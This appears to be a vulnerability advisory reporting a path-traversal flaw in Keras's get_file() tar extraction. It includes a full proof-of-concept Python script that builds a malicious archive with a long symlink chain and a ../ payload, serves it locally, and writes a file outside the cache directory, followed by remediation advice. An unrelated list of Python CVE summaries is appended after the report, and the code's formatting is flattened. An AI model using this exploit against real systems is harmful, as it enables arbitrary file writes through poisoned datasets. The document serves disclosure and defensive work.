Summary
Keras's keras.utils.getfile() function is vulnerable to directory traversal attacks despite implementing filtersafepaths(). The vulnerability exists because extractarchive() uses Python's tarfile.extractall() method without the security-critical filter="data" parameter. A PATHMAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory.
Details
Root Cause Analysis
Current Keras Implementation python From keras/src/utils/fileutils.py#L121 if zipfile.iszipfile(filepath): # Zip archive. archive.extractall(path) else: # Tar archive, perhaps unsafe. Filter paths. archive.extractall(path, members=filtersafepaths(archive))
The Critical Flaw
While Keras attempts to filter unsafe paths using filtersafepaths(), this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATHMAX symlink resolution bug occurs during extraction, not during member enumeration.
Exploitation Flow: 1. Archive parsing: filtersafepaths() sees symlink paths that appear safe 2. Extraction begins: extractall() processes the filtered members 3. PATHMAX bug triggers: Symlink resolution fails due to path length limits 4. Security bypass: Failed resolution causes literal path interpretation 5. Directory traversal: Files written outside intended directory
Technical Details
The vulnerability exploits a known issue in Python's tarfile module where excessively long symlink paths can cause resolution failures, leading to the symlink being treated as a literal path. This bypasses Keras's path filtering because:
- filtersafepaths() operates on the parsed tar member information - The PATHMAX bug occurs during actual file system operations in extractall() - Failed symlink resolution falls back to literal path interpretation - This allows traversal paths like ../../../../etc/passwd to be written
Affected Code Location
File: keras/src/utils/fileutils.py Function: extractarchive() around line 121 Issue: Missing filter="data" parameter in tarfile.extractall()
Proof of Concept #!/usr/bin/env python3 import os, io, sys, tarfile, pathlib, platform, threading, time import http.server, socketserver
Import Keras directly (not through TensorFlow) try: import keras print("Using standalone Keras:", keras.version) getfile = keras.utils.getfile except ImportError: try: import tensorflow as tf print("Using Keras via TensorFlow:", tf.keras.version) getfile = tf.keras.utils.getfile except ImportError: print("Neither Keras nor TensorFlow found!") sys.exit(1)
print("=" 60) print("Keras getfile() PATHMAX Symlink Vulnerability PoC") print("=" 60) print("Python:", sys.version.split()[0]) print("Platform:", platform.platform())
root = pathlib.Path.cwd() print(f"Working directory: {root}")
Create target directory for exploit demonstration exploitdir = root / "exploit" exploitdir.mkdir(existok=True)
Clean up any previous exploit files try: (exploitdir / "keraspwned.txt").unlink() except FileNotFoundError: pass
print(f"\n=== INITIAL STATE ===") print(f"Exploit directory: {exploitdir}") print(f"Files in exploit/: {[f.name for f in exploitdir.iterdir()]}")
Create malicious tar with PATHMAX symlink resolution bug print(f"\n=== Building PATHMAX Symlink Exploit ===")
Parameters for PATHMAX exploitation comp = 'd' (55 if sys.platform == 'darwin' else 247) steps = "abcdefghijklmnop" # 16-step symlink chain path = ""
with tarfile.open("kerasdataset.tgz", mode="w:gz") as tar: print("Creating deep symlink chain...") # Build the symlink chain that will exceed PATHMAX during resolution for i, step in enumerate(steps): # Directory with long name dirinfo = tarfile.TarInfo(os.path.join(path, comp)) dirinfo.type = tarfile.DIRTYPE tar.addfile(dirinfo) # Symlink pointing to that directory linkinfo = tarfile.TarInfo(os.path.join(path, step)) linkinfo.type = tarfile.SYMTYPE linkinfo.linkname = comp tar.addfile(linkinfo) path = os.path.join(path, comp) if i < 3 or i % 4 == 0: # Print progress for first few and every 4th print(f" Step {i+1}: {step} -> {comp[:20]}...") # Create the final symlink that exceeds PATHMAX # This is where the symlink resolution breaks down longname = "x" 254 linkpath = os.path.join("/".join(steps), longname) maxlink = tarfile.TarInfo(linkpath) maxlink.type = tarfile.SYMTYPE maxlink.linkname = ("../" len(steps)) tar.addfile(maxlink) print(f"✓ Created PATHMAX symlink: {len(linkpath)} characters") print(f" Points to: {'../' len(steps)}") # Exploit file through the broken symlink resolution exploitpath = linkpath + "/../../../exploit/keraspwned.txt" exploitcontent = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside the cache directory!\nKeras getfile() is vulnerable to PATHMAX symlink attacks!\n" exploitfile = tarfile.TarInfo(exploitpath) exploitfile.type = tarfile.REGTYPE exploitfile.size = len(exploitcontent) tar.addfile(exploitfile, fileobj=io.BytesIO(exploitcontent)) print(f"✓ Added exploit file via broken symlink path") # Add legitimate dataset content datasetcontent = b"# Keras Dataset Sample\nThis appears to be a legitimate ML dataset\nimage1.jpg,cat\nimage2.jpg,dog\nimage3.jpg,bird\n" datasetfile = tarfile.TarInfo("dataset/labels.csv") datasetfile.type = tarfile.REGTYPE datasetfile.size = len(datasetcontent) tar.addfile(datasetfile, fileobj=io.BytesIO(datasetcontent)) # Dataset directory datasetdir = tarfile.TarInfo("dataset/") datasetdir.type = tarfile.DIRTYPE tar.addfile(datasetdir)
print("✓ Malicious Keras dataset created")
Comparison Test: Python tarfile with filter (SAFE) print(f"\n=== COMPARISON: Python tarfile with data filter ===") try: with tarfile.open("kerasdataset.tgz", "r:gz") as tar: tar.extractall("pythonsafe", filter="data") filesafter = [f.name for f in exploitdir.iterdir()] print(f"✓ Python safe extraction completed") print(f"Files in exploit/: {filesafter}") # Cleanup import shutil if pathlib.Path("pythonsafe").exists(): shutil.rmtree("pythonsafe", ignoreerrors=True) except Exception as e: print(f"❌ Python safe extraction blocked: {str(e)[:80]}...") filesafter = [f.name for f in exploitdir.iterdir()] print(f"Files in exploit/: {filesafter}")
Start HTTP server to serve malicious archive class SilentServer(http.server.SimpleHTTPRequestHandler): def logmessage(self, args): pass
def runserver(): with socketserver.TCPServer(("127.0.0.1", 8005), SilentServer) as httpd: httpd.allowreuseaddress = True httpd.serveforever()
server = threading.Thread(target=runserver, daemon=True) server.start() time.sleep(0.3)
Keras vulnerability test cachedir = root / "kerascache" cachedir.mkdir(existok=True) url = "http://127.0.0.1:8005/kerasdataset.tgz"
print(f"\n=== KERAS VULNERABILITY TEST ===") print(f"Testing: keras.utils.getfile() with extract=True") print(f"URL: {url}") print(f"Cache: {cachedir}") print(f"Expected extraction: kerascache/datasets/kerasdataset/") print(f"Exploit target: exploit/keraspwned.txt")
try: # The vulnerable Keras call extractedpath = getfile( "kerasdataset", url, cachedir=str(cachedir), extract=True ) print(f"✓ Keras extraction completed") print(f"✓ Returned path: {extractedpath}") except Exception as e: print(f"❌ Keras extraction failed: {e}") import traceback traceback.printexc()
Vulnerability assessment print(f"\n=== VULNERABILITY RESULTS ===") finalexploitfiles = [f.name for f in exploitdir.iterdir()] print(f"Files in exploit directory: {finalexploitfiles}")
if "keraspwned.txt" in finalexploitfiles: print(f"\n🚨 KERAS VULNERABILITY CONFIRMED! 🚨") exploitfile = exploitdir / "keraspwned.txt" content = exploitfile.readtext() print(f"Exploit file created: {exploitfile}") print(f"Content:\n{content}") print(f"🔍 TECHNICAL DETAILS:") print(f" • Keras uses tarfile.extractall() without filter parameter") print(f" • PATHMAX symlink resolution bug bypassed security checks") print(f" • File created outside intended cache directory") print(f" • Same vulnerability pattern as TensorFlow getfile()") print(f"\n📊 COMPARISON RESULTS:") print(f" ✅ Python with filter='data': BLOCKED exploit") print(f" ⚠️ Keras getfile(): ALLOWED exploit") else: print(f"✅ No exploit files detected") print(f"Possible reasons:") print(f" • Keras version includes security patches") print(f" • Platform-specific path handling prevented exploit") print(f" • Archive extraction path differed from expected")
Show what Keras actually extracted (safely) print(f"\n=== KERAS EXTRACTION ANALYSIS ===") try: if 'extractedpath' in locals() and pathlib.Path(extractedpath).exists(): keraspath = pathlib.Path(extractedpath) print(f"Keras extracted to: {keraspath}") # Safely list contents try: contents = [item.name for item in keraspath.iterdir()] print(f"Top-level contents: {contents}") # Count symlinks (indicates our exploit structure was created) symlinkcount = 0 for item in keraspath.iterdir(): try: if item.issymlink(): symlinkcount += 1 except PermissionError: continue print(f"Symlinks created: {symlinkcount}") if symlinkcount > 0: print(f"✓ PATHMAX symlink chain was extracted") except PermissionError: print(f"Permission errors in extraction directory (expected with symlink corruption)") except Exception as e: print(f"Could not analyze Keras extraction: {e}")
print(f"\n=== REMEDIATION ===") print(f"To fix this vulnerability, Keras should use:") print(f"python") print(f"tarfile.extractall(path, filter='data') # Safe") print(f"") print(f"Instead of:") print(f"python") print(f"tarfile.extractall(path) # Vulnerable") print(f"")
Cleanup print(f"\n=== CLEANUP ===") try: os.unlink("kerasdataset.tgz") print(f"✓ Removed malicious tar file") except: pass
print("PoC completed!")
Environment Setup - Python: 3.8+ (tested on multiple versions) - Keras: Standalone Keras or TensorFlow.Keras - Platform: Linux, macOS, Windows (path handling varies)
Exploitation Steps
1. Create malicious tar archive with PATHMAX symlink chain 2. Host archive on accessible HTTP server 3. Call keras.utils.getfile() with extract=True 4. Observe directory traversal - files written outside cache directory
Key Exploit Components
- Deep symlink chain: 16+ nested symlinks with long directory names - PATHMAX overflow: Final symlink path exceeding system limits - Traversal payload: Relative path traversal (../../../target/file) - Legitimate disguise: Archive contains valid-looking dataset files
Demonstration Results
Vulnerable behavior: - Files extracted outside intended cachedir/datasets/ location - Security filtering bypassed completely - No error or warning messages generated
Expected secure behavior: - Extraction blocked or confined to cache directory - Security warnings for suspicious archive contents
Impact
Vulnerability Classification - Type: Directory Traversal / Path Traversal (CWE-22) - Severity: High - CVSS Components: Network accessible, no authentication required, impacts confidentiality and integrity
Who Is Impacted
Direct Impact: - Applications using keras.utils.getfile() with extract=True - Machine learning pipelines downloading and extracting datasets - Automated ML training systems processing external archives
Attack Scenarios: 1. Malicious datasets: Attacker hosts compromised ML dataset 2. Supply chain: Legitimate dataset repositories compromised 3. Model poisoning: Extraction writes malicious files alongside training data 4. System compromise: Configuration files, executables written to system directories
Affected Environments: - Research environments downloading public datasets - Production ML systems with automated dataset fetching - Educational platforms using Keras for tutorials - CI/CD pipelines training models with external data
Risk Assessment
High Risk Factors: - Common usage pattern in ML workflows - No user awareness of extraction security - Silent failure mode (no warnings) - Cross-platform vulnerability
Potential Consequences: - Arbitrary file write on target system - Configuration file tampering - Code injection via overwritten scripts - Data exfiltration through planted files - System compromise in containerized environments
Recommended Fix
Immediate Mitigation
Replace the vulnerable extraction code with:
python Secure implementation if zipfile.iszipfile(filepath): # Zip archive - implement similar filtering archive.extractall(path, members=filtersafepaths(archive)) else: # Tar archive with proper security filter archive.extractall(path, members=filtersafepaths(archive), filter="data")
Long-term Solution
1. Add filter="data" parameter to all tarfile.extractall() calls 2. Implement comprehensive path validation before extraction 3. Add extraction logging for security monitoring 4. Consider sandboxed extraction for untrusted archives 5. Update documentation to warn about archive security risks
Backward Compatibility
The fix maintains full backward compatibility as filter="data" is the recommended secure default for Python 3.12+.
References
- [Python tarfile security documentation](https://docs.python.org/3/library/tarfile.html#extraction-filters) - [CVE-2007-4559](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4559) - Related tarfile vulnerability - [OWASP Path Traversal](https://owasp.org/www-community/attacks/PathTraversal)
Note: Reported in Huntr as well, but didn't get response https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4
An out-of-bounds read flaw was found in the way Expat processed certain input. A remote attacker could send specially crafted XML that, when parsed by an application using the Expat library, would cause that application to crash or, possibly, execute arbitrary code with the permission of the user running the application.
A security regression for CVE-2019-9636 was discovered in python's functions urllib.parse.urlsplit and urllib.parse.urlparse, introduced with commit d537ab0ff9767ef024f26246899728f0116b1ec3. No upstream python version is affected by this regression but the vulnerable commit may already have been included downstream as part of the original fix for CVE-2019-9636.
Affected python versions ignore the user/password part before @ in the netloc component of a URL, thus it still allows an attacker to exploit the vulnerability as in CVE-2019-9636. Those functions do not properly handle URLs encoded with Punycode/Internationalizing Domain Names in Applications (IDNA), which may result in a wrong domain name (specifically the netloc component of URL - user@domain:port) being returned by those functions. When an application parses user-supplied URLs to store cookies, authentication credentials, or other kind of information, it is possible for an attacker to provide specially crafted URLs to make the application locate host-related information (e.g. cookies, authentication data) and send them to a different host than where it should, unlike if the URLs had been correctly parsed. The result of an attack may vary based on the application.
External Reference https://python-security.readthedocs.io/vuln/urlsplit-nfkc-normalization2.html
Vulnerable commit https://github.com/python/cpython/commit/d537ab0ff9767ef024f26246899728f0116b1ec3
Upstream patch https://github.com/python/cpython/commit/8d0ef0b5edeae52960c7ed05ae8a12388324f87e
A vulnerability was found in Python 2.7.x through 2.7.16 and 3.x through 3.7.2. An improper Handling of Unicode Encoding (with an incorrect netloc) during NFKC normalization could lead to an Information Disclosure (credentials, cookies, etc. that are cached against a given hostname) in the urllib.parse.urlsplit, urllib.parse.urlparse components. A specially crafted URL could be incorrectly parsed to locate cookies or authentication data and send that information to a different host than when parsed correctly.
References: https://bugs.python.org/issue36216 https://python-security.readthedocs.io/vuln/urlsplit-nfkc-normalization.html
Uptream Patch: https://github.com/python/cpython/pull/12201
A flaw was found in python. A stack-based buffer overflow was discovered in the ctypes module provided within Python. Applications that use ctypes without carefully validating the input passed to it may be vulnerable to this flaw, which would allow an attacker to overflow a buffer on the stack and crash the application. The highest threat from this vulnerability is to system availability.
A flaw was found in python-ipaddress. Improper input validation of octal strings in stdlib ipaddress allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many programs that rely on Python stdlib ipaddress. The highest threat from this vulnerability is to data integrity and system availability.
BZ2decompress in decompress.c in bzip2 through 1.0.6 has an out-of-bounds write when there are many selectors.
Last updated 25 August 2025
A flaw was found in the Python tarfile module. Extracting a crafted TAR archive with the tarfile.extract or tarfile.extractall functions could lead to a directory traversal vulnerability, resulting in overwrite of arbitrary files.
Last updated 25 August 2025
DISPUTED Lib/webbrowser.py in Python through 3.6.3 does not validate strings before launching the program specified by the BROWSER environment variable, which might allow remote attackers to conduct argument-injection attacks via a crafted URL. NOTE: a software maintainer indicates that exploitation is impossible because the code relies on subprocess.Popen and the default shell=False setting.
Last updated 20 January 2025
The incremental HTML parser (html.parser.HTMLParser) allows for CPU denial-of-service through repeated unterminated markup declarations when processing uncontrolled data.
An issue was discovered in Python before 3.8.18, 3.9.x before 3.9.18, 3.10.x before 3.10.13, and 3.11.x before 3.11.5. It primarily affects servers (such as HTTP servers) that use TLS client authentication. If a TLS server-side socket is created, receives data into the socket buffer, and then is closed quickly, there is a brief window where the SSLSocket instance will detect the socket as "not connected" and won't initiate a handshake, but buffered data will still be readable from the socket buffer. This data will not be authenticated if the server-side TLS peer is expecting client certificate authentication, and is indistinguishable from valid TLS stream data. Data is limited in size to the amount that will fit in the buffer. (The TLS connection cannot directly be used for data exfiltration because the vulnerable code path requires that the connection be closed on initialization of the SSLSocket.)
AMD. A buffer overflow issue was addressed with improved memory handling.
A vulnerability has been found in the CPython venv module and CLI where path names provided when creating a virtual environment were not quoted properly, allowing the creator to inject commands into virtual environment "activation" scripts (ie "source venv/bin/activate"). This means that attacker-controlled virtual environments are able to run commands when the virtual environment is activated. Virtual environments which are not created by an attacker or which aren't activated before being used (ie "./venv/bin/python") are not affected.
Forcepoint One DLP Client, version 23.04.5642 (and possibly newer versions), includes a restricted version of Python 2.5.4 that prevents use of the ctypes library. ctypes is a foreign function interface (FFI) for Python, enabling calls to DLLs/shared libraries, memory allocation, and direct code execution. It was demonstrated that these restrictions could be bypassed.
Last updated 24 July 2024
A command injection vulnerability was found in Python 2.x and 3.x, specifically within the mailcap module. Mailcap core-module is based on the format documented in RFC 1524. The “findmatch()” function does not sanitise the second argument (filename). As a result, the legitimate command (that is used for opening the specified mime type) is concatenated with an arbitrary command, injected by an attacker.
Last updated 19 September 2024
Last updated 7 May 2025
A flaw was found in the way the DES/3DES cipher was used as part of the TLS/SSL protocol. A man-in-the-middle attacker could use this flaw to recover some plaintext data by capturing large amounts of encrypted traffic between TLS/SSL server and client if the communication used a DES/3DES based ciphersuite.
A flaw was found in Python, specifically within the urllib.parse module. This module helps break Uniform Resource Locator (URL) strings into components. The issue involves how the urlparse method does not sanitize input and allows characters like '\r' and '\n' in the URL path. This flaw allows an attacker to input a crafted URL, leading to injection attacks.
A flaw was found in python. An improperly handled HTTP response in the HTTP client code of python may allow a remote attacker, who controls the HTTP server, to make the client script enter an infinite loop, consuming CPU time. The highest threat from this vulnerability is to system availability.
A flaw was found in python. In Lib/tarfile.py an attacker is able to craft a TAR archive leading to an infinite loop when opened by tarfile.open, because procpax lacks header validation.
Last updated 25 August 2025
A flaw was found in python's elementtree.c module, a wrapper for libexpat XML parser. xml.etree C accelerator don't call XMLSetHashSalt(), failing to properly initiate the random hash seed from a good CSPRNG source and making hash collision attacks with carefully crafted XML data easier.
Upstream bug:
https://bugs.python.org/issue34623.
A null pointer dereference vulnerability was found in the certificate parsing code in Python. This causes a denial of service to applications when parsing specially crafted certificates. This vulnerability is unlikely to be triggered if application enables SSL/TLS certificate validation and accepts certificates only from trusted root certificate authorities.
An issue was discovered in Python through 2.7.16, 3.x through 3.5.7, 3.6.x through 3.6.9, and 3.7.x through 3.7.4. The email module wrongly parses email addresses that contain multiple @ characters. An application that uses the email module and implements some kind of checks on the From/To headers of a message could be tricked into accepting an email address that should be denied. An attack may be the same as in CVE-2019-11340; however, this CVE applies to Python more generally.
A vulnerability was discovered in Python. A quadratic algorithm exists when processing inputs to the IDNA (RFC 3490) decoder, such that a crafted unreasonably long name being presented to the decoder could lead to a CPU denial of service. Hostnames are often supplied by remote servers that could be controlled by a malicious actor, which could trigger excessive CPU consumption on the client attempting to make use of an attacker-supplied hostname.